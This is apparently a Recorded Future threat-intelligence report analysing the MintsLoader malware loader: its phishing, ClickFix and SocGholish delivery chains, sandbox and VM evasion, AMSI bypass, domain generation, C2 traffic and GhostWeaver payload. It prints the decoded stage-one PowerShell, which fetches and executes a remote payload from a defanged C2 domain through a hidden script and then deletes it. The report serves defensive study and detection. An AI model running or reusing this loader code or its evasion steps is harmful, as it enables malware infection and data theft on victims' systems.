Multi-Stage Loader Used by TAG-124 and SocGholish

recordedfuture.com/research/uncovering-mintsloader-with-recorded-future-malware-intelligence-hunting

Uncovering MintsLoader With Recorded Future Malware Intelligence Hunting

Executive Summary

MintsLoader, a malicious loader, was first observed in multiple phishing and drive-by download campaigns as early as 2024. The loader commonly deploys second-stage payloads such as GhostWeaver, StealC, and a modified BOINC (Berkeley Open Infrastructure for Network Computing) client. MintsLoader operates through a multi-stage infection chain involving obfuscated JavaScript and PowerShell scripts. The malware employs sandbox and virtual machine evasion techniques, a domain generation algorithm (DGA), and HTTP-based command-and-control (C2) communications.

MintsLoader has been observed being used by various threat groups; however, operators of TAG-124 (also known as LandUpdate808) have used it extensively. The loader is deployed through multiple infection vectors, including phishing emails targeting the industrial, legal, and energy sectors (TAG-124); compromised websites impersonating browser update prompts (SocGholish); and invoice-themed lures distributed via Italy’s PEC certified email system.

MintsLoader’s use of obfuscation complicates static detections such as YARA rules, its use of DGA-based C2 infrastructure makes it difficult to maintain up-to-date watchlists or blocklists, and its anti-analysis techniques complicate host-based detections that rely on sandboxes or virtualization. But Recorded Future’s Malware Intelligence Hunting identifies new MintsLoader samples and associated C2 domains and provides an up-to-date list for blocklists or threat hunting.

MintsLoader’s persistent use of obfuscation, sandbox evasion, and adaptive infrastructure likely ensures its continued presence within the malware ecosystem, likely leading to increased use by additional threat actors. The malware’s role as a versatile delivery mechanism reflects the increasing professionalization and specialization within the cybercriminal community. While this growing sophistication benefits threat actors by enabling more resilient and efficient operations, it may simultaneously provide opportunities for defenders to identify and disrupt malicious activity more effectively and at scale.

Key Findings

- MintsLoader's second-stage PowerShell script uses sandbox and virtual environment evasion techniques, reducing its susceptibility to automated analysis and increasing its likelihood of bypassing dynamic detection tools.
- MintsLoader's use of a DGA to generate daily C2 domains based on the system date complicates infrastructure monitoring activity and domain/IP-based detections.
- Recorded Future’s Malware Intelligence Hunting provides up-to-date C2 domains and other artifacts related to MintsLoader that would otherwise be hard to track due to its dynamic infrastructure.
- Insikt Group shows that GhostWeaver is the primary payload deployed by MintsLoader across observed campaigns.
- GhostWeaver’s self-signed X.509 certificates are similar to those of AsyncRAT and variants of AsyncRAT, leading to initial false associations with other malware families such as AsyncRAT.

Background

Orange Cyberdefense first detected MintsLoader in widespread distribution campaigns between July and October 2024. Insikt Group identified earlier campaigns in February 2024, based on Palo Alto’s Unit42 analysis of a SocGholish infection.

The loader consists of JavaScript (stage one) and PowerShell (stage two) scripts retrieved from multiple DGA-based domains. The name “MintsLoader” is derived from its distinctive use of the URL parameter s=mints[NUMBER] (for example, s=mints11). MintsLoader is typically observed in campaigns delivering secondary payloads such as GhostWeaver, StealC, and the Berkeley Open Infrastructure for Network Computing (BOINC) client.

Figure 1: *MintsLoader profile (Source: Recorded Future)*

While MintsLoader is believed to be used by multiple threat actors, TAG-124 (also known as LandUpdate808) infections have frequently been observed deploying MintsLoader. Additionally, threat actors using SocGholish were early adopters of MintsLoader, resulting in the initial assessment of MintsLoader campaigns as being exclusively associated with SocGholish. For example, in February 2024, Palo Alto’s Unit42 released indicators linked to SocGholish (Figure 2); however, Insikt Group's analysis indicates that the URLs identified as delivering AsyncRAT also align with known MintsLoader URL patterns.

Figure 2: *Palo Alto SocGholish infection IoCs (Source: Recorded Future)*

Similarly, in July 2024, Huntress Labs reported a SocGholish infection delivering a BOINC client. Notably, the URL used to download the BOINC matches known MintsLoader URL patterns. **Figure 3** shows a high-level overview of the threat actors that use MintsLoader.

Figure 3: *Threat actors' use of MintsLoader (Source: Recorded Future)*

Below are recently reported campaigns involving MintsLoader.

MintsLoader and Kongtuke/ClickFix pages

In early 2025, security analysts observed a phishing campaign delivering MintsLoader as a first-stage loader. Phishing emails (targeting the energy, oil and gas, and legal sectors in the US and Europe) carried either a malicious JavaScript attachment or a link to a fake “Click to verify” web page. **Figure 4** shows examples of ClickFix pages.

Figure 4: *Examples of ClickFix pages (Source: https://www.hhs.gov/)*

In both cases, the result was the execution of MintsLoader’s PowerShell-based second stage on the victim’s machine. This loader pulled down the final payloads, notably the StealC infostealer and a modified BOINC client build. The campaign leveraged fake CAPTCHA verification pages (ClickFix/KongTuke lures) to trick users into executing a copied PowerShell command, which downloaded and ran MintsLoader (**Figure 5**).

Figure 5: *MintsLoader ClickFix infection chain (Source: Recorded Future)*

Other infection chains in this campaign delivered MintsLoader via a downloaded ‘Fattura########.js’ file (Italian for “invoice”) that victims opened, leading to the same PowerShell loader execution. Researchers at eSentire’s Threat Response Unit reported this campaign and noted the threat actors’ focus on industrial and professional services targets across North America and Europe.

SocGholish “FakeUpdates” Campaigns

Multiple reports indicate (1, 2) that the SocGholish (FakeUpdates) threat actors incorporated MintsLoader into their operations. Starting around July 2024, SocGholish infections from compromised websites showed infection chains installing the BOINC-distributed computing client via MintsLoader.

In this drive-by campaign, shown in **Figure 6**, victims browsing legitimate but compromised sites encountered fake browser update prompts (often originating from an update.js script). If run, the malicious JavaScript fetched an obfuscated MintsLoader payload, kicking off a multi-step PowerShell sequence.

Figure 6: *MintsLoader fake updates example (Source: TRAC Labs)*

Huntress Labs documented two parallel outcomes: one branch resulted in a fileless AsyncRAT running in memory, while the other led to a stealth BOINC installation under attacker control. The BOINC deployment was notably modified and configured to connect to a malicious C2 rather than the standard BOINC server.

In some cases, the GhostWeaver PowerShell backdoor (tracked by Mandiant as UNC4108) was also delivered via MintsLoader, providing attackers with a persistent foothold and a platform to load additional plugins.

Invoice Phishing in Europe

Another MintsLoader campaign in late 2024 targeted European organizations via invoice-themed phishing emails, an example of which is shown in Figure 7. Spam messages leveraged Italy’s PEC (certified email) system to add legitimacy and lured recipients into opening attached JavaScript files masquerading as invoices. The Spamhaus research team dubbed this the “PEC invoice scam” and highlighted how the attackers abused trusted email channels to bypass security checks. This campaign was noted for “stealing time, money, and trust from businesses.”

Figure 7: *PEC phishing email (Source: Spamhaus)*

Technical Analysis

MintsLoader uses a multi-stage execution chain involving JavaScript and PowerShell, with each stage employing obfuscation to hinder analysis. Although MintsLoader functions solely as a loader without supplementary capabilities, its primary strengths lie in its sandbox and virtual machine evasion techniques and a DGA implementation that derives the C2 domain based on the day it is run. These features significantly complicate static analysis and host-based detection. Despite this, its C2 communications occur over HTTP, which provides a reliable vector for detecting and identifying new samples. **Figure 8** provides the high-level capabilities of MintsLoader.

Figure 8: *MintsLoader high-level capabilities (Source: Recorded Future)*

This analysis of MintsLoader includes details on the first- and second-stage payloads and MintsLoader infrastructure.

MintsLoader Attack Chain

MintsLoader is commonly delivered via phishing emails containing links to KongTuke or ClickFix pages. When executed, these pages retrieve and run the first stage of JavaScript. The JavaScript is heavily obfuscated, and execution leads to running a PowerShell command to download and execute the second stage of MintsLoader, as shown in **Figure 9**.

Figure 9: *First stage of MintsLoader infection (Source: [Recorded Future Malware Intelligence](#))*

This second stage conducts environment checks to determine whether it is running in a sandbox or virtualized setting. Next, the script uses a DGA to produce the next C2 domain. MintsLoader then attempts to contact the generated domain to download the final payload, such as GhostWeaver, StealC, or the BOINC client. Figure 10 shows a high-level overview of this attack chain.

Figure 10: *Common MintsLoader infection chain (Source: Recorded Future)*

Stage One: JavaScript

The initial stage of MintsLoader consists of a JavaScript file that executes a PowerShell command to retrieve the second stage. The script is heavily obfuscated using junk comments, non-readable variables and function names, character replacement, and string encoding (**Figure 11**). Insikt Group found 141 MintsLoader stage one samples using data derived from Recorded Future Malware Intelligence Hunting (**Appendix A**).

__Figure 11:__ MintsLoader stage one obfuscated JavaScript (Source: Recorded Future)

The core function of the stage one JavaScript payload is to run a PowerShell command that executes the command ‘curl -useb http://[domain]/1.php?s=[campaign]’, which downloads and executes the second stage. When ‘curl’ is used in PowerShell with the option ‘-useb’, it is an alias for Invoke-WebRequest, and the program cURL is not actually used to make the HTTP request.

Insikt Group identified three distinct versions of the stage one loader, all of which employ the same JavaScript obfuscation techniques but differ in implementing the deployed PowerShell.

The first variant executes the PowerShell command in clear text, with the C2 domain hard-coded, as shown in **Figure 12**. This variant is seen in “mints13” and “flibabc11” campaigns.

Figure 12: *Clear text stage one PowerShell command (Source: Recorded Future Malware Intelligence)*

In the second variation, the PowerShell command is obfuscated using character replacement. The C2 domain is still hard-coded, and an alias for the curl command is used instead, but the object is still to download the next stage (**Figure 13**). This is the most widely used variant across the campaigns: “flibabc21”, “flibabc22”, ”mints11”, “mints13”, “mints21”, and “mints42”.

Figure 13: *Clear text stage one obfuscated PowerShell command (Source: Recorded Future Malware Intelligence)*

The third variation encodes the command in Base64 (**Figure 14**). Insikt Group has seen this method used with the older campaign “mints13”.

Figure 14: *Base64 text stage-one PowerShell command (Source: [Recorded Future Malware Intelligence](#))*

However, in this version, the PowerShell command creates a file containing the PowerShell command to download the second stage via cURL. It then runs the file and deletes it.

```
$ErrorActionPreference = "Continue"

$randomNamePart1 = -join ((48..57) + (97..122) | Get-Random -Count 5 | % { [char]$_ });

$currentTimeHour = [int](Get-Date -Format HH);
$currentTimeMinute = [int](Get-Date -Format mm);
$minuteAdjustment = 3;

If ($currentTimeMinute + $minuteAdjustment -gt 59) {
$currentTimeHour = $currentTimeHour + 1;
$currentTimeMinute = $currentTimeMinute + $minuteAdjustment - 60;
} Else {
$currentTimeMinute = $currentTimeMinute + $minuteAdjustment;
};
```

```
$currentTimeHour = If (([int](Get-Date -Format HH) + 1) -gt 23) { "00" } Else { $currentTimeHour };

$randomNamePart2 = -join ((65..90) + (97..122) | Get-Random -Count 12 | % { [char]$_ });

$scriptToExecute = @"

$ErrorActionPreference = "Continue"
curl -useb "http://gibuzuy37v2v\\[.]top/1.php?s=mints13" | iex;
Remove-Item "C:\Users\Public\Documents\$($randomNamePart2).ps1" -Force
"@;

"powershell -noprofile -executionpolicy bypass -WindowStyle hidden -c $($scriptToExecute)" | Out-File -FilePath
"C:\Users\Public\Documents\$($randomNamePart2).ps1";
powershell -noprofile -executionpolicy bypass -WindowStyle hidden -File "C:\Users\Public\Documents\$($randomNamePart2).ps1";

Remove-Item "$env:APPDATA\*.ps1" -Force
Remove-Item "$env:APPDATA\*.bat" -Force
```

Table 1: *Decoded base64 text stage one PowerShell (Source: Recorded Future)*

Stage One C2 Communication

Executing any variant results in an HTTP GET request to the hard-coded domain to retrieve the second-stage payload. A successful request will retrieve and execute the PowerShell script shown in **Figure 15**.

Figure 15: *Successful stage two retrieval from C2 (Source: Recorded Future)*

If the DGA domain is no longer valid, a 302 response is returned, as shown in Figure 16.

Figure 16: *Failed stage two retrieval from C2 (Source: Recorded Future)*

Stage Two PowerShell

The second stage, PowerShell, contains a Base64-encoded string. After XOR decoding and uncompressing, the primary payload, which is also obfuscated, is yielded. Figure 17 shows a snippet of this payload, illustrating MintsLoader's obfuscated string construction techniques.

Figure 17: *Stage two PowerShell obfuscation (Source: Recorded Future)*

After the initial deobfuscation and decoding, the second stage of PowerShell starts by attempting to bypass Antimalware Scan Interface (AMSI) using a known technique to fake AMSI initialization failure: setting the variable amsiInitFailed of the System.Management.Automation.AmsiUtils object to TRUE.

The rest of the code is responsible for executing three system information queries: the return values used in logical expressions to detect whether the system is running on bare metal, sandbox, or virtual machine. This is conveyed to the C2 through an integer variable sent as the URL parameter key, and the C2 examines its value to determine if its response will return a third stage that downloads the final payload or a decoy. It should be noted that the constant integer values used to increment the key variable change with each second-stage sample.

The result of each system information query is checked against three logical expressions, the order of which varies per sample, along with constants that increment the key, whose results affect the key variable value. The logical expressions may not provide apparent results on initial inspection. For example, if the first deobfuscated system check, shown below in **Figure 18**, were to run on a virtual machine, the $isVirtualMachine variable would be equal to $true. The logical expression "$true -eq 3" evaluates to $true in PowerShell, increasing the key by 15310805757 instead of 83670406277.

Figure 18: *Stage two PowerShell virtual machine check (Source: Recorded Future)*

The second system check queries the AdapterDACType member of the Win32_VideoController WMI object to obtain the name or identifier of the digital-to-analog converter (DAC) chip, as shown in Figure 19. This determines whether the infected system is running on an emulator or virtually. Typically, a Windows system will return "Internal" and/or "Integrated RAMDAC," which would increment the key by 14467965888 in this example.

Figure 19: *Stage two PowerShell video controller check (Source: Recorded Future)*

The third system check queries the purpose member of the Win32_CacheMemory WMI object, which will equal "L1 Cache" on a typical Windows system. The non-obvious logical expression "$l1CachePurpose.length —gt 4" will execute in the optimal case, incrementing the key value by 27424330481 in the deobfuscated example seen in **Figure 20**.

Figure 20: *Stage two PowerShell memory check (Source: Recorded Future)*

The system checks and calculation of the key are followed by generating a random seed based on the date and a constant, which is used with a system.Random object to construct the domain using a simple DGA and the URL path, as shown in **Figure 21**. The author may have made a mistake by not using the second random variable to construct the URL path. Instead, they use an undefined variable for the URL path ending, making the URL path ending a constant "htr.php". Note that in PowerShell, curl is an alias for Invoke-WebRequest, which is used to generate the request to the C2 for the third stage, so the User-Agent HTTP header will include PowerShell version information, not curl.

Figure 21: *Stage two PowerShell final payload retrieval (Source: Recorded Future)*

Stage Two C2 Communication

Figure 22 shows an example of a MintsLoader request for the final payload, with a URL path ending in htr.php. The URL parameter id is the hostname, and the URL parameter s is the campaign ID.

Figure 22: *Recent stage two C2 GET Request (Source: Recorded Future)*

An example of an earlier MintsLoader request for the third stage is shown in **Figure 23**, with the URL path not randomized but instead the constant string "2.php".

__Figure 23:__ Older stage two C2 GET Request (Source: Recorded Future)

If the second-stage request does not meet specific requirements, the final payload may lead to a decoy executable (**Figure 24**), as in this example, which leads to an AsyncRAT decoy executable downloaded from the site temp[.]sh. This association with AsyncRAT led to initial naming in reports and some countermeasures for network traffic as "AsyncRAT Loader", which causes MintsLoader malware samples to be incorrectly tagged as AsyncRAT even though current MintsLoader campaigns do not deploy AsyncRAT.

Figure 24: *Stage three decoy response (Source: Recorded Future)*

A recent successful attempt is shown in **Figure 25**; in this example, the final payload is GhostWeaver.

Figure 25: *MintsLoader GhostWeaver payload (Source: Recorded Future)*

GhostWeaver

One of the most commonly observed payloads deployed by MintsLoader is GhostWeaver, a PowerShell-based remote access trojan (RAT) exhibiting code similarities and functional overlaps with MintsLoader. Notably, GhostWeaver can deploy MintsLoader as an additional payload via its sendPlugin command. Communication between GhostWeaver and its command-and-control (C2) server is secured through TLS encryption using an obfuscated, self-signed X.509 certificate embedded directly within the PowerShell script, which is leveraged for client-side authentication to the C2 infrastructure.

GhostWeaver has periodically been misclassified as AsyncRAT. Insikt Group assesses with moderate confidence that this misclassification originated from Palo Alto Networks initially identifying a GhostWeaver sample (SHA256: fb0238b388d9448a6b36aca4e6a9e4fbcbac3afc239cb70251778d40351b5765) as a fileless AsyncRAT variant. GhostWeaver and AsyncRAT share certain characteristics within their self-signed X.509 certificates, such as identical expiration dates and serial number lengths; however, these similarities may simply reflect common certificate-generation methods rather than meaningful operational overlap.

MintsLoader Infrastructure

Insikt Group initially found MintsLoader C2 servers hosted solely on BLNWX but later observed its growing use of other ISPs such as Stark Industries Solutions Ltd (AS44477), GWY IT Pty Ltd. (AS199959), or SCALAXY-AS (58061), among others. MintsLoader C2 IP addresses announced via SCALAXY-AS are operated by hosting providers 3NT Solutions LLP and IROKO Networks Corporation, both of which are a part of the Russian-language bulletproof hosting provider Inferno Solutions (inferno[.]name). The switch to SCALAXY-AS and Stark Industries Solutions suggests that MintsLoader operators have shifted from relying on anonymous virtual private server (VPS) providers to more traditional bulletproof hosters, likely in an effort to harden their infrastructure against takedown attempts and enhance operational stability.

Over the past several months, Insikt Group has identified a range of suspected additional campaign IDs and payloads (**Table 2**). This data is compiled from open research and Insikt Group's internal research.

Campaign ID	**Observed Final Payload**	**Last Date Active**	**Notes**
521	StealC	2025-04-20	
522	StealC	2025-04-20	
523	StealC	2025-04-20	observed in connection with AsyncRAT infections
524	StealC	2025-04-20	N/A
527	GhostWeaver	2025-04-20	Linked to TAG-124 by Insikt Group
flibabc11	GhostWeaver	2025-04-20	
flibabc12	GhostWeaver	2025-04-20	
flibabc13	GhostWeaver	2025-04-20	
flibabc14			

StealC

2025-04-20

flibabc21

GhostWeaver

2025-04-20

flibabc22

GhostWeaver

2025-04-20

flibabc23

GhostWeaver

2025-04-20

flibabc25

GhostWeaver

2025-04-20

515

N/A

N/A

Observed in connection with AsyncRAT infections
578

N/A

N/A

Linked to TAG-124 via the domain sesraw[.]com, which Insikt Group had previously linked to TAG-124
579

N/A

N/A

Observed in connection with AsyncRAT infections
boicn

N/A

N/A

Observed in connection with AsyncRAT infections
mints1

N/A

N/A

N/A

mints11

N/A

N/A

N/A

mints12

N/A

N/A

N/A

mints13

N/A

N/A

N/A

mints21

N/A

N/A

N/A

Table 2: *Suspected MintsLoader campaign IDs (Source: Recorded Future)*

Two additional potential campaign IDs, js2 and dav, were observed in 2023, with js2 identified in an AsyncRAT infection.

To read the entire analysis, click here to download the report as a PDF.